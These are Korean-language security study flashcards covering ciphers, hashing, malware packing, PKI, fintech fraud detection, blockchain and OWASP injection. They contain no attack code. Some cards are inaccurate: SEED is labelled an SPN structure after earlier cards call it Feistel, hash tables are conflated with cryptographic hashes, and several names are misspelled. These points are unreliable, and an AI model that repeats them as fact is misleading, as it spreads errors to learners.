Security Flashcards
암호화
▣ 암호화의 정의 : 평문을 암호화된 문장으로 변환하는 기술
▣ 암호화의 특성 (기무가부인)
- 기밀성(암/복호화), 무결성(해쉬함수), 가용성(암호/인증), 부인봉쇄(전자서명), 인증(인증서)
▣ 암호화 알고리즘의 원리 (대블치확압)
- 대체, 블록화, 치환, 확장, 압축
▣ 암호화의 구성요소
- 평문, 암호문, 암호화, 복호화, 키, 암호 알고리즘, 암호 시스템
▣ 암호화의 분류
1. 양방향 (기밀성)
가. 대칭키 (비밀키암호화, 암호화키=복호화키, 데이터암호목적)
1) Stream방식 (1bit씩 연산, XOR연산, H/W 구현용이, Confusion(Substitution))
- True Random# : OTPad
- Psuedo Random# : RC4(PPTP, WEP, TKIP)
2) Block방식 (2bit 이상 묶음 연산, Confusion-Diffusion(S-Box+P-Box), S/W 구현용이
- Festel구조 : DES, 3DES
- SPN구조 : AES
- 기타 : IDEA(유럽)
나. 비대칭키 (공개키암호화, 암호화키≠복호화키, 대칭키교환용도)
1) 인수분해 : RSA(디지털서명, PGP), Robin
2) 이산대수 : DH(키교환), ElGmal, DSA(디지털서명)
3) 타원곡선방정식 : ECC
2. 단방양 (무결성)
가. HASH
1) MDC
- Modification Detection
- Key 없음
- SHA-1, MD5, HAVAL
2) MAC
- Message Authentication
- Key 있음
- HMAC, NMAC, CBC-MAC암호화 기술
- SPN (Substitution-Permutation Network) : AES, ARIA
- Feistel : DES, SEED
- 인수분해 : RSA
- 타원곡선 : ECC
- 이산대수 : Diffie-Hellman, DSA
- 해시 알고리즘 : MD-5, SHA-1, SHA-2
SPN (Substitution-Permutation Network)
- 대체순열구조
- 전치와 치환을 이용한 관용암호 방식 (암/복호화에 동일한 키를 사용하는 방식)
- 128비트를 4x4 행렬로 나타내어 암호화
- AES, ARIA
Feistel
- N 비트의 블록을 N/2 씩 둘로 나누고, R번의 라운드 만큼 반복된 연산
- 라운드 함수를 반복적으로 적용, 이전 블록 암호문과 평문을 XOR한 형태
- DES, SEED
인수분해
- 두 큰 소수 p와 q의 곱셈은 쉬우나 n으로 부터 p와 q를 추출하기 어려운 점 이용
- RSA
타원곡선
- 타원 기반의 안정성과 효율성 기반의 알고리즘
- PKI 기반의 RSA의 문제점인 속도와 안정성을 해결
- ECC
이산대수
- 이산대수의 계산은 어렵지만, 그 역함수/지수함수의 계산은 빠르게 수행하는 특징을 이용
- Diffie-Hellman, DSA
해시 알고리즘
- 단방향 : 원래의 입력값을 찾아내기 불가능
- 임의의 길이를 가지고 있는 메시지를 받아들여 고정된 길이의 출력 값으로 바꾸어주는 알고리즘
- MD-5, SHA-1, SHA-2
블록 암호화
▣ 개념 : 고정된 크기의 블록단위 암호문 생성
▣ 단위 : 블록단위
▣ 사례 : DES, AES, SEED, ARIA
스트림 암호화
▣ 개념 - 평문과 같은 길이의 키 스트림을 생성하여 평문과 키 이진 수열을 비트단위로 배타적 논리합 이진연산으로 결합하여 암호문 생성 - 키스트림 -> 비트단위 배타적 논리합 -> 이진연산 결합 ▣ 단위 : 비트단위 ▣ 사례 : LFRS, SEAL, RC4
비밀키 암호화 (대칭키)
▣ 개념도 : 원문 -> 비밀키 -> 암호문 -> 비밀키 -> 복호화 ▣ 개념 : 동일한 키로 암/복호화 ▣ 사례 : DES, SEED, AES ▣ 키의 관계 : 암호키 = 복호키 ▣ 키의 수 : 두 사람이 하나의 비밀키 공유 ▣ 키의 종류 : 암/복호화키 (Secret Key) ▣ 구현방식 : 블록, 스트림 암호화 ▣ 키의 관리 : 복잡 (모든 당사자 간 키 공유 필요) ▣ 부인방지 여부 : 불가 ▣ 속도 : 상대적 빠름 ▣ 용도 : 개인 파일 암호화 ▣ 장점 : 구현용이, 속도빠름 ▣ 단점 : 쉬운 해독, 키관리 어려움, 키 분배 문제
공개키 암호화 (비대칭키)
▣ 개념도 : 원문 -> 공개키-> 암호문 -> 비밀키 -> 복호화 ▣ 개념 : 송/수신자 다른 키 사용 ▣ 사례 : RSA, ECC ▣ 키의 관계 : 암호키 ≠ 복호키 ▣ 키의 수 : 키 쌍(Private Key, Public Key) 공유 ▣ 키의 종류 : 암호화(Public Key), 복호화(Private Key) ▣ 구현방식 : 소인수문해, 이산대수, 근저백터 ▣ 키의 관리 : 상대적 단순, 인증기관 통한 Private Key발급 ▣ 부인방지 여부 : 키의 이원화로 부인방지 ▣ 속도 : 연산속도 느림 (큰 소수 찾기, 방정식 연산) ▣ 용도 : 다수의 사용자 사용 ▣ 장점 : 암호해독 어려움, 전자서명, 키 분배 용이 ▣ 단점 : 해독시간 상대적 느림
DES (Data Encryption Standard)
▣ 정의 : 56bit의 키를 이용, 64bit의 평문 블록을 64bit의 암호문 블록으로 만드는 블록 암호 방식의 미국표준 ▣ 알고리즘 - 대칭키 방식 - key 생성 부분과 데이터 암호화 부분으로 나뉨 - 치환과 XOR에 의한 전치과정을 거침 - f함수에서 48bit의 문자열을 32bit로 바꾸는 8개의 논리회로인 S-box 사용 ▣ 문제점 - S-BOX 논리식 약점 (Shift, XOR) - 키 길이가 짧아 Brute Force Attack 가능 ▣ 보완대책 - 2-DES, 3-DES 사용 - Blowfish, RC5, IDEA등 보완 알고리즘
RSA (Rivest, Shamir, Adleman)
▣ 정의 : 큰 소인수 곱 n=p*q의 소인수 p, q를 찾는 것이 어렵다는 것을 근간으로 만들어진 알고리즘 ▣ 안전성 문제 - 소수 p, q에 의해 좌우됨 - p, q는 거의 같은 크기의 소수여야 안전함 - p-1, q-1은 큰 소수를 인수로 가져야 안전함 - p-1, q-1의 최대 공약수는 작아야 안전함
ECC (Elliptic Curve Crypto System)
▣ 정의 : 타원 기반의 구조체의 안정성과 효율성을 기반으로 생성된 알고리즘 ▣ 원리 - 이산 대수를 사용하여 하나의 키에 대하여 해를 구할 수 없게 만듦 - 타원 곡선의 굴곡률 값으 방정식에서 값을 구할 수 없는 좌표 값에 의해 비대칭키 생성 ▣ 필요성 - 공개키 알고리즘인 RSA의 속도와 기밀성 문제의 해결 - IC카드, PDA등 휴대 단말기에서 HW적인 암호 알고리즘의 구현 필요성 - 무선 인터넷의 발달로 적은 메모리에 빠른 암/복호화 알고리즘의 필요성 ▣ 특징 (설안소유) - 설계성 : 타원곡선 변경성 - 안전성 : 일방향성 암호화 - 소규모 : 적은 비트 키 - 유연성 : HW, SW 구현 용이
AES (Advanced Encryption Standard)
▣ 정의 : 미국의 연방 표준 알고리즘(1998년)으로서 20년이 넘게 사용되어 온 DES를 대신할 차세대 표준 알고리즘 ▣ 특징 - 가변 길이 블록과 키 사용 가능 (128, 192, 256) - 단순한 설계, 다양한 플랫폼 적용 ▣ 단계 (1회의 순열과 3회의 치환) - 바이트 치환 : 하나의 S-BOX 치환 - 행이동 : 단순 순열 - 열 혼합 : GF 산술 치환 - 라운드 키 추가 : 비트 단위 XOR 연산
SEED
▣ 정의: 순수 국내기술로 개발하여 ISO/IEC 및 IETF의 표준으로 제정된 128비트 블록 암호 알고리즘 ▣ 특징 - 검증된 Feistel구조 활용 - IPSec, 인터넷뱅킹 등 상용분야 표준 ▣ 개념도 - 128bit 평문 -> 16bit 블럭화 -> 16회 라운드 -> 블럭조합 -> 암호문 생성 ▣ 설계기준 - 데이터 처리 단위 : 8, 16, 32bit 모두 가능 - 암/복호화 방식 : 블록 암호 방식 - 입/출력문의 크기 : 128bit - 입력 key의 크기 : 128bit - 안전성 : DC/LC에 대하여 안전 - 효율성 : 3중 DES 보다 암/복호화 속도 빠름 - 내부함수 : SPN 구조 - 라운드 수 : 16라운드 - 키생성 알고리즘 : 라운드 동작과 동시에 암/복호화 라운드 키가 생성
ARIA (Academy, Research Institute, Agency)
▣ 정의 : 경량 환경 및 하드웨어 구현을 위해 최적화된, Involutional SPN 구조를 갖는 범용 블록 암호 알고리즘
▣ 특징
- 블록 크기 : 128비트
- 키 크기 : 128/192/256 비트
- 전체 구조 : Involutional Substitution-Permutation Network
- 라운드수 : 12/14/16 (키 크기에 따라 결정됨)
▣ 암/복호화 과정
- 대치, 확산, 키 적용 단계를 반복하는 SPN 구조로써, 대치 단계에서는S-Box를 이용하여 바이트 단위로 치환을 하고, 확산 단계에서는 16x16 Involution 이진 행렬을 사용한 바이트 간의 확산을 함
- 대치단계(S-BOX 치환) -> 확산단계(16x16 Involution)
해시함수(Hash)
▣ 정의 : 하나의 문자열을 보다 빨리 찾을 수 있도록 해시함수를 이용하여 해시테이블 내 주소에 직접 접근할 수 있는 짧은 길이의 값이나 키로 변환하는 과정 ▣ 목적 - 단방향 암호화, 전자서명 ▣ 구성요소 - 해싱함수 : 키값 - 레코그 물리주소 사상함수 - 해시키 : 레코드의 키값 - 버킷 : 한 개의 주소를 갖는 파일 내의 한 구역(여러개의 슬록으로 구성) - 슬롯 : 한 개의 레코드를 저장할 수 있는 공간 - 해시테이블 : 해싱 함수에 의해서 계산된 주소 - Synonym : 같은 버킷 주소를 갖는 레코드 들의 집합 - 충돌 : 서로 다른 레코드들이 같은 주소로 반환되는 경우 ▣ 종류 - 제산함수(%) : 나머지 연산 (12 = 512 % 100) - 제곱함수 : 키값의 제곱 (512 제곱 = 262144, 21이 최종주소) - 폴딩함수 : 탐색키 전체 사용 (이동폴딩, 경계폴딩) Ex) 123456789012 가정 : 3개로 나눔 이동폴딩 : 123+456+789+012 경계폴딩 : 123+654+789+210 - 중간 제곱 함수 : 탐색키 제곱 (4x4 = 16. 16를 2로 나눈 8을 해시키로 선택) - 숫자 분석 : 탐색키의 특징 (대학교 학번) - 난수법 : 난수 발생 - 기수법 : 개수의 숫자를 사용 ▣ 해시 함수 적용 암호화 기술 - MD5(Message Digest) : 128비트 해시 함수 - SHA-1(Secure Hash Algorithm) : 160비트 해시 함수 - HAVAL : MD5 변형 - Tiger : 64비트 프로세서에서의 해시 ▣ 해시함수의 유형 - 패쇄해싱 : 정적 해싱 (컴파일러, 어셈블러) - 개발해싱 : 동적 해싱 (데이터베이스 시스템)
정적 해싱(Static Hashing) 기법
▣ 개념 : 버킷 주소 집합의 크기를 고정시켜 처리하는 기법
▣ 특징
- 현재 파일의 크기에 근거하여 해싱 함수 선택
- 미래의 특정 시점의 파일 크기를 예상하여 해싱 함수 선택
- 파일 크기가 커짐에 따라 주기적으로 해싱 구조를 재구성
▣ 문제점
- Collision : 복수개의 키 값이 동일 Hash 주소 사용
- Overflow : 빈 버킷이 없는 상태에서 Hash 주소가 다시 지정된 상태
▣ 해결방안
- Direct Chaining : 동일 Hash Table에서 Linked List 구성
- Indirect Chaining : 별도의 Overflow 공간 확보, Synonym을 Linked list 로 구성
- Overflow 영역 처리 : Link를 두지 않고 Overflow영역에 저장
동적 해싱 (Dynamic Hashing) 기법
▣ 개념 : 데이터베이스가 확장 또는 축소되는데 이에 맞추어 해싱 함수를 동적으로 변경 시키는 해싱 기법(Overflow 발생시 2배수 확장) ▣ 확장 해싱(Extensible Hashing)의 개념 - 동적 해싱의 한 형태이며 트리의 깊이가 2인 특별한 경우 ▣ 확장 해싱의 장점 - 파일 크기가 증가해도 성능이 나빠지지 않음 - 버킷 주소 테이블의 크기가 작으므로 저장 공간 절약 ▣ 확장 해싱의 단점 - 버킷 주소 테이블 생성 부담 - 데이터의 숫자가 적으면 오히려 디스크 낭비 ▣ Collision 해결 방법 - Linear Method : 주소 + 1로 빈 곳을 찾아 계속 검색 - Re-Hashing : Overflow 발생하지 않을 때까지 여러개의 Hash 함수 적용 - Random Method : 난수로 후속 주소 선택 방법
LEA (Light Weight Encryption Algorithm)
▣ 정의 : 사물인터넷의 발달에 따라 고속, 경량화를 위해 최적화하여 개발된 128비트 블록 암호 알고리즘
▣ 개발배경
- IoT, 인터넷 기기, 네트워크 발달, 저전력 특성을 고려한 암호화 기술 필요
- 128비트 데이터 블록 알고리즘, 안전성 및 경량 구현 가능
▣ 암복호화 함수
- 입출력 128비트, 라운트 키 PK 192 비트
- 라운드 함수를 구성하는 내부연산은 32비트 덧셈 배열 형태 사용
- 내부연산은 32비트 덧셈, XOR, OR, ROLn(RORn)은 n비트 좌측(우측)회전 연산
▣ 키스케쥴 함수
- 비밀키 길이에 따라 라운드 키 생성 방법을 별도로 정의
- 키 스케쥴 함수의 입력값은 32비트
바이러스 압축
▣ 개념
- 악성코드의 분석을 어렵게 하기 위해 실행코드 암호화나 패킹등의 은닉기술
▣ 목적
- 전파확산 : 작은 사이즈
- 탐지우회 : 분석도구 탐지 회피
- 리버싱방지 : 분석 난해화
▣ 악성코드 보호 기법
- 압축 기법 : 정상 파일을 압축 악성코드와 패킹하여 백신 프로그램을 우회하고 파일사이즈를 줄여 전파
- 암호화 기법 : 암호화된 악성코드를 작성하고 실행시에 복호화 하여 실행하는 기법
▣ 압축 기법 동작과 탐지
1. 악성코드 생성
- 압축패킹 도구 : UPX, PEcompact, ASPack, UPack, PESpin, NSAnti, ACProtect
2. 악성코드 실행
- 압축해제도구: ASProtect, Themida, SVKP, UltraProtect, Morphine
3. 악성코드 탐지
- 탐지도구 : PEIDSignature, MRC(Mandiant Red Curtain), Exeinfo PE, FastScanner
▣ 악성코드 분석방법
- 정적분석 : 디버거와 디어셈블러 통한 코드/바이너리 비교
- 동적분석 : 파일이나 레지스트리 생성 및 수정 등의 행위를 관찰하여 분석
데이터 마스킹
▣ 정의 : 기밀데이터의 속성(길이,유형,형식)을 유지한채, 새롭고 읽기 쉬운 데이터를 익명으로 생성하는 기술 ▣ 특징 : 데이터의 자동 변조, 실 데이터 보호, 데이터 무결성 유지 역할 ▣ 유형 - 정적인 데이터 마스킹 : ETL 단계 - 동적인 데이터 마스킹 : 조회 시 ▣ 기술 - 치환 : BLARK -> BL*** - 셔플 : BLARK -> LABRK - 숫자와 날짜 변경 : 02-15 -> 03-05 - 암호화 : 02020-12312 -> 암호화 - 널처리나 삭제 : 카드번호 -> NULL
PKI (Public Key Infrastructure)
▣ 정의 : 인증기관(CA)에서 공개키/개인키를 포함하는 인증서를 발급받아 네트워크상에서 안전한 비밀통신을 가능하게 하는 기반 구조 ▣ 목적 - 부인봉쇄 : 전자서명 - 인증 : 전자인증서 - 무결성 : 접근차단 - 기밀성 : 암호화 ▣ 구성요소 - 인증기관(CA, Certificate Authority) : 인증서 등록, 발급, 조회, 관리, CRL 생성 - 등록대행기관(RA, Registration Authority) : 인증서등록, 사용자 신원확인 - 인증서저장소(CR, Certificate Repository) : CRL 보관 - 인증폐지목록(CRL, Certificate Revocation List) - 디렉토리 : 인증서 및 CRL 저장 - 사용자 : 사용 주체 ▣ 인증서(X.509) - 버전 - 일련번호 - 서명알고리듬 : 해시 알고리즘 - 발급자 - 유효기간 시작 - 유효기간 종료 - 주체 : 인증서 소유자 - 공개 키 : 키 종류 및 길이 - 손도장 알고리즘 : 해시 알고리즘 - 손도장 : 데이터 다이제스트 - 이름 - 향상된 키 사용 ▣ 인증서 취소 목록 (CRL) - Signature : 서명알고리즘 - Issuer : CRL 발행자 이름 - This update : 갱신일 - Next update : 다음 갱신일 - Revoked Certificates : 취소된 인증서의 일련번호 - CRL Extension : 부가정보 - Issuer's signature ▣ 인증서 검증방식 - CRL(Certificate Revocation List) - OCSP(Online Certificate Status Protocol) - SCVP(Simple Certificate Validation Protocol)
CRL (Certificate Revocation List)
- 인증서에 대한 폐지 목록
- CA는 페지된 인증서 정보를 가지고 있는 CRL을 통해서 인증서의 유효성을 최신의 상태로 유지
OCSP (Online Certificate Status Protocol)
- 실시간으로 인증서의 유효성을 검증 할 수 있는 프로토콜
- CRL을 대신하거나 보조하는 용도로 사용
- Client-Server 방식의 상태 정보 송수신
- 고액의 거래를 주로 하는 은행업무, 클라이언트에 인증서 모듈을 실행하기 어려운 이동 단말기에서의 전자 거래 등에 활용
SCVP (Simple Centiicate Validation Protocol)
- 인증서의 유효성 여부와 특정 인증서까지의 인증서 체인을 제공
- 인증서를 발행하는 인증기관, 인증서, CRL을 저장하는 저장소 지원
PKI를 이용한 전자봉투
▣ 송신자 1. 비밀키 임의 생성 2. 생성된 비밀키로 메시지 암호화(대칭키 알고리즘) 3. B의 공개키로 비밀키 암호화 ▣ 수신자 1. B의 개인키로 비밀키 복호화 2. 복호화된 비밀키로 메시지 복호화
핀테크
▣ 정의 : 금융과 기술의 융합을 통해 결제, 송금, 개인 자산관리 등의 각종 금융 서비스를 제공하는 기술 ▣ 기술 - 보안 : 지문인식, 바이오인식 - 통신 : NFC, Beacon, Geo-fencing - 분석 : BigData ▣ 서비스 현황 - 국내 : 삼성페이, 시럽, 카카오페이 - 해외 : 애플페이, 구글월렛
핀테크 활성화를 위한 보안정책
▣ 정자금융 규제 패러다임 전환 - 사전규제 최소화 - 기술중립성 원칙 구현 - 책임부담 명확화 ▣ 금융보안 토대 소비자 보호 - 보안인증(PCI-DSS, ISMS) 획득 유도 - FDS구축 고도화 독려 ▣ 오프라인 금융제도 개편 - 인터넷 전문은행 모델 수립 - 결제분야 낡은 규제정비
핀테크 서비스 안전성 확보방안 및 FDS 고도화 로드맵
▣ 예방측면 - 본인 인증강화 : 생체인증, 전자서명 - 모바일 단말보안 : TEE(Trusted Execution Environments) ▣ 탐지측면 - FDS구축 및 고도화 ▣ 대응측면 - 업무연속성 BCP 대책 ▣ FDS고도화 로드맵 1단계) : 도입 - 단말기 접속정보 수집 - 오용탐지(Black List) - 추가 인증 수단 마련 2단계) : 확대 - 금융거래 정보 수집 - 오용탐지, 이상거래 탐지 - 추가 인증 조치 - 모니터링 및 상담 3단계) : 공동대응 - 과거 패턴정보 구축 - 금융회사간 정보공유 - 추가 인증 조치 - 감사기능 구현 - FDS관련 법규 개정
PCI-DSS (Payment Card Industry Data Security Standard)
▣ 정의 : 가맹점 결제 대행 사업자가 취급하는 카드 회원의 신용 카드 정보 및 거래 정보를 안전하게 보호하기 위한 신용 업계 글로벌 보안 표준 ▣ 특징 - 카드 회원정보와 인증정보를 포함하는 카드관련 정보의 안전한 저장, 처리 및 전송을 위해 적용 ▣ 적용정보 1) 카드 회원 데이터 - 신용카드번호(PAN) - 신용카드 소유자 이름 - 신용카드 만료일자 - 신용카드 서비스 코드 2) 인증 데이터 - 전체 마그네틱 선 데이터 - CAV2/CVC2/CVV2/CID - PIN/PIN Block ▣ 요구사항 1. 안전한 네트워크 구축 및 유지 - 카드 회원 데이터를 보호하기 위해 방화벽을 도입, 최정의 설정을 유지 - 시스템 암호 및 기타 보안 매개 변수에 벤더가 제공하는 기본값을 사용하지 않는 것 2. 카드 회원 데이터 보호 - 저장된 카드 회원 데이터를 안전하게 보호 - 공용 네트워크에서 카드 회원 데이터를 보낼 때 암호화 3. 취약점 관리 프로그램의 정비 - 안티바이러스 소프트웨어를 이용하여 정기적으로 갱신 - 안전한 시스템과 어플리케이션을 개발, 유지보수 4. 강력한 엑세스 제어기법의 도입 - 카드 회원 데이터에 대한 접근을 업무상 필요한 범위 내로 제한 - 컴퓨터에 엑세스하는 사용자마다 개별ID를 할당 - 카드 회원 데이터에 대한 물리적 엑세스를 제한 5. 정기적인 네트워크 모니터링 및 테스트 - 네트워크 자원과 카드 회원 데이터에 대한 모든 접근을 추적하고 모니터링 - 보안 시스템 및 관리 절차를 정기적으로 테스트 6. 정보보안 정책의 점검 - 정보 보안 정책 점검
인터넷 전문은행
▣ 정의 : 오프라인 영업점 없이 비대면 실명 인증으로 인터넷, 모바일, ATM등의 전자매체를 통해 은행업무(수신, 여신)의 대부분을 수행하는 은행 ▣ 구성요소 - 전산 설비 위탁 운영 - 지급결제망 - 신용카드 - 예금 보험 제도 - 실명 확인제도 ▣ 도입 기대효과 1) 도입이전 - 은행점포 직접 방문 - 은행, 지급결제업체 서비스 분리 - 재무정보에 기반한 신용평가 - 제한된 PB 통한 대면 컨설팅 2) 도입이후 - 인터넷, 스마트폰 통한 계좌개설 - 간편결제, 결제포인트 연계 서비스 - 전자상거래 정보, 빅데이터 평가 - 자동화된 포트폴리오 분석 3) 기대효과 - 금융거래의 시,공간적 제약해소 - 소비자 결제 편의성 및 혜택증대 - 저신용자 대상 중 금리 대출 확대 - 더 많은 소비자가 이용 가능
핀테크 오픈 플랫폼
▣ 개념 - 금융기관과 별도의 제휴 없이 금융 서비스 API를 제공하는 핀테크 오픈 플랫폼 - 표준화된 금융API를 핀테크 기업에 제공하고 핀테크 기업은 이를 활용해 자체 서비스를 만들어 유통시키는 기술 플랫폼 ▣ 기술스택 - 고객(모바일, 인터넷, ATM, Call Center) - 인터넷전문은행, 수신/여신, 외환, 대행, 상품 팩토리, 핀테크 서비스 - 핀테크 오픈 플랫폼(OpenAPI, 금융API, 제휴API, 서비스API),(제휴관리, 서비스관리, 보안관리, 시스템관리, 레거시 연계) - 은행 레거시 ▣ 활용 방안 - 기술적관점 : 은행 업무 처리, Test-Bed - 정책적관점 : 신규 금융 서비스모델 창출, 업무제휴, 진입 장벽 완화, 표준화 - 보안관점 : 공동대응, FDS - 서비스관점 : 개인 맞춤형 제공, 신뢰성 향상 ▣ 도입방안 - 금산 분리 규제 완화 : 은행 지분 보유한도(4%->5%) - 최저 자본 하향조정 : 1000억 -> 500억 - 영업범위 : 일반은행과 동일 - 건전성 규제 : Basel1 기준 적용 - 전산설비 위탁 : 신용카드업 가능 - 인가절차 : 외부평가위원회 구성
FDS
▣ 정의 : 전자금융거래에 사용되는 단말기 정보, 접속정보, 거래내용을 종합적으로 분석하여 의심거래를 탐지하고 이상금융거래를 차단하는 시스템 ▣ 주요기능 (정분대감) - 정보수집 : 이용자 매체환경 정보, 사고유형 정보 - 분석 및 탐지 : 오용탐지, 이상탐지 - 대응 : 통지와 피드백 - 모니터링 및 감사 : 수집, 분석, 대응 감사 ▣ 방식 - 동기방식 : 매 거래 단계별 (인증, 예비거래, 본거래, 원장작성) - 비동기방식 : 최종 승인 이전에 한번
FDS 오용탐지모델 (Misuse)
▣ 개념 : 과거에 발견되었던 부정행위패턴과 일치하는 부정행위를 찾아내는 방식 ▣ 목적 : 알려진 사고의 차단 ▣ 기준 : 과거정보, 시그니처 ▣ 시점 : 사후 탐지 개념 ▣ 장점 : 과거정보가 많을수록 오탐율 하락 ▣ 단점 : 새로운 형태의 부정행위 색출 한계 (미탐률이 높음) ▣ 절차 : 사고발생 -> 사고패턴생성 -> 이상금융거래 검출 ▣ 모델 : 패턴탐지 모델, 상태전이 모델
FDS 이상탐지모델 (Anomaly)
▣ 개념 : 기존의 거래와 비교하여 급격하게 다른 형태, 낮은 확률의 행위를 찾아내는 방식 ▣ 목적 : 알려지지 않은 사고의 예방 ▣ 기준 : 이용자 프로파일 ▣ 시점 : 사전 탐지 개념 ▣ 장점 : 새로운 부정거래행위 사전탐지 가능 ▣ 단점 : 긴 학습기간(프로파일링)과 오탐율이 높음 ▣ 절차 : 이용자 프로파일링 -> 예측패턴생성 -> 이상금융거래 검출 ▣ 모델 : 통계 모델, 데이터 마이닝 모델
블록체인
▣ 정의 : 분산데이터베이스의 한 형태로 분산 노드의 특정 사용자에 의한 임의조작이 불가능하도록 고안되어 지속적인 데이터 기록 리스트 블록을 잇따라 연결한 모음 ▣ 특징 - 탈 중앙 : P2P 네트워크 간 공유 - 경제성 : 특허 없음 - 이중 지불의 방지 : 전체 P2P 노드들이 무결성 검증 - 합의 수렴 알고리즘 : 각 노드의 장부 데이터 최신 유지 ▣ 적용원리 1) A가 B에게 송금요청 2) 해당 거래 정보가 담긴 하나의 블록 생성 3) 네트워크 상의 모든 참여자에게 블록 전송 4) 각 참여자가 해당 블록 승인 5) 각 참여자의 기존 블록 체인 기록에 추가 결합 6) 실제 송금 완료 ▣ 핵심기술 - 사용자 간 분산 합의 : 신뢰성 보장 - 마이닝 : 컴퓨팅 자원 제공 대가 - 거래장부 동기화 : 보안성 향상 ▣ P2P를 통한 거래장부의 무결성 유지절차 1) 모든 사용자는 인터넷을 통해 서로 연결된 P2P 네트워크 생성 2) 네트워크를 통해 동일한 거래장부를 복사해 각자 보관 3) 모든 사용자는 10분에 한 번씩 모여 거래장부를 검사 4) 만약 잘못된 정보가 있으면 분산 합의 절차에 의해 정상 장부를 복제해 대체 5) 거래장부 검사가 끝난 후 이것을 한 블록으로 생성 6) 새로 만든 블록을 블록체인 끝에 추가 7) 새로 만든 블록체인은 다시 모든 사용자가 복제해 감 8) 위 과정을 매 10분마다 반복 ▣ 사용자간 분산 합의 절차 - 네트워크상의 거래 검증 권한을 갖는 사용자가 거래내역의 정당성을 승인 - 다수의 승인결과를 종합하여 정당한 거래로 인정하거나 제한 - 51% 과반수 이상의 일치된 의견을 따르게 됨(승인 또는 제한) ▣ 블록체인의 위조방지 개념 - Block 2는 Block 1의 해시값 Hash 1을 담고 있음 - 만약 Block 1의 내용을 수정하면 Hash 1이 바뀌게 되므로 Block 2도 수정해야 하며 이후 모든 블록도 수정필요 - 블록위조하는데 n개월 소요되며 그 시점에 이미 많은 리스트가 생성되어 위조가 거의 불가능함 ▣ 블록체인이 금융을 혁신하는 이유 - 별도의 인프라 없이 신뢰성 확보 - 안전한 금융 시스템 제공 - 거래 내역이 투명하게 공개 - 고객정보가 필요 없음 ▣ 블록체인 활용사례 - 비트코인 - P2P 대출 - 주식 거래 - 공인인증서 ▣ 블록체인 응용분야 및 구현사례 - Cryptocurrency : Bitcoin, Bitshares, Altcoin - Registry, Open ID : Dot-Bit, ONENAME - Messaging : Reddit Style, Twitter Style - IoT : M2M, SW Update, Energy Payment - Cloud : SNS, Cloud Storage
전자서명
▣ 정의 : 서명자가 해당 전자문서에 서명하였음을 나타내기 위해 전자문서에 첨부되거나 논리적으로 결합된 저자적 형태의 정보 ▣ 전자서명의 조건 (위인부분변재) - 위조불가 - 인증 - 부인방지 - 분쟁해결 - 변경 불가 - 재사용 불가 ▣ 처리절차 1) 송신자는 해쉬 함수를 이용하여 메시지의 해쉬 값을 구함 2) 구한 해쉬 값을 자신의 비밀키를 사용하여 암호화하여 서명을 생성 3) 메시지와 서명을 수신자에게 송신 4) 수신자는 송신자가 사용한 것과 동일한 해쉬 함수를 이용하여 메시지의 해쉬 값을 계산 5) 수신한 서명을 송신자의 공개키로 복호화 하여 그 결과값을 자신이 계산한 해쉬 값과 비교 6) 두 값이 동일한 경우, 서명이 정상적인 것으로 판단하고 메시지를 받아 들임 7) 두 값이 다를 경우, 수신자는 메시지를 거부
혼돈(Confusion)
▣ 개념
- 평문과 암호문 사이의 관계를 알기 어려워야 하는 이론
- 평문 1비트의 변화가 생성되는 암호문에 어떤 변화를 초래할지 알 수 없어야 한다는 이론
- 평문 1비트의 변화가 생성되는 암호문에 어떤식으로던 규칙이 발생하면 안된다는 이론
확산(Diffusion)
▣ 개념
- 평문을 구성하는 각 비트들의 정보가 암호문 여러 비트에 영향을 받아야 한다는 이론
- 평문 1비트를 변경했을 때 암호문의 1비트에만 영향을 받는 것이 아니라 암호문 전체 비트에 영향을 받을 수 있어야 한다는 이론
전자봉투
▣ 개념
- 평문은 비밀키로 암호화 하고 그 비밀키를 공개키로 암호화 하여 첨부항 문서 형태
- 전자봉투를 보내는 사람은 받는 사람의 공개키를 가지고 있어야 함.
▣ 특징
- 전자봉투의 형태 (평문 P, 비밀키 K)
- E(P, K) | {K}B (비밀키 K는 1번만 사용됨)
- 전자봉투는 기밀성, 무결성, 부인방지를 모두 지원
▣ 처리과정
[A(송신자) Side]
1) 비밀키 임의 생성
2) 생성된 비밀키로 메시지 암호화. E(M)
3) B의 공개키로 비밀키 암호화. E(K)
4) E(M), E(K) 전자봉투 전송
[B(수신자) Side]
1) B의 개인키로 비밀키 복호화
2) 복호화된 비밀키로 메시지 복호화
※ E(M) : 대칭키 알고리즘
※ E(K) : 공개키 알고리즘OWASP (The Open Web Application Security Project)
▣ 정의 : 웹 애플리케이션 취약점 중 공격 빈도가 높으며, 보안상 큰 영향을 줄 수 있는 10가지 취약점에 대한 대응 방안을 제공하는 웹 보안 기술 가이드 ▣ 취약점 항목 (인세크 취보민기 크알검) A1 - 인젝션 A2 - 인증 및 세션 관리 취약점 A3 - 크로스 사이트 스크립팅 A4 - 취약한 직접 객체 참조 A5 - 보안 설정 오류 A6 - 민감 데이터 노출 A7 - 기능 수준의 접근 통제 누락 A8 - 크로스 사이트 요청 변조 A9 - 알려진 취약점이 있는 컴포넌트 사용 A10 - 검증되지 않은 리다이렉트 및 포워드
A1 - 인젝션 (Injection)
▣ 위협요인
- 외부/내부 사용자, 관리자, 시스템에 신뢰할 수 없는 데이터를 보낼 수 있는 사람
▣ 공격경로
- 공격자는 목표로 한 인터프리터 (SQL, LDAP)의 구문을 악용할 수 있는 간단한 텍스트 기반의 공격코드를 보냄
▣ 보안 취약점
- SQL질의, LDAP질의, Xpath 질의, OS명령어, 프로그램 인수
▣ 기술적 영향
- 데이터 손실과 파괴, 책임 추적성 결여, 서비스 거부
▣ 비즈니스적 영향
- 데이터 조작, 삭제, 명성 훼손
▣ 방지책
- 동적SQL 대신 저장프로시저 사용
- 모든 입력 값 검증 (WhiteList, 특수문자 치환, 입력값 길이 제한)
- 웹서버 보안강화(자세한 오류 표시 차단, SQL 서버보안 강화)
A2 - 인증 및 세션 관리 취약점 (Broken Authentication and Session Management)
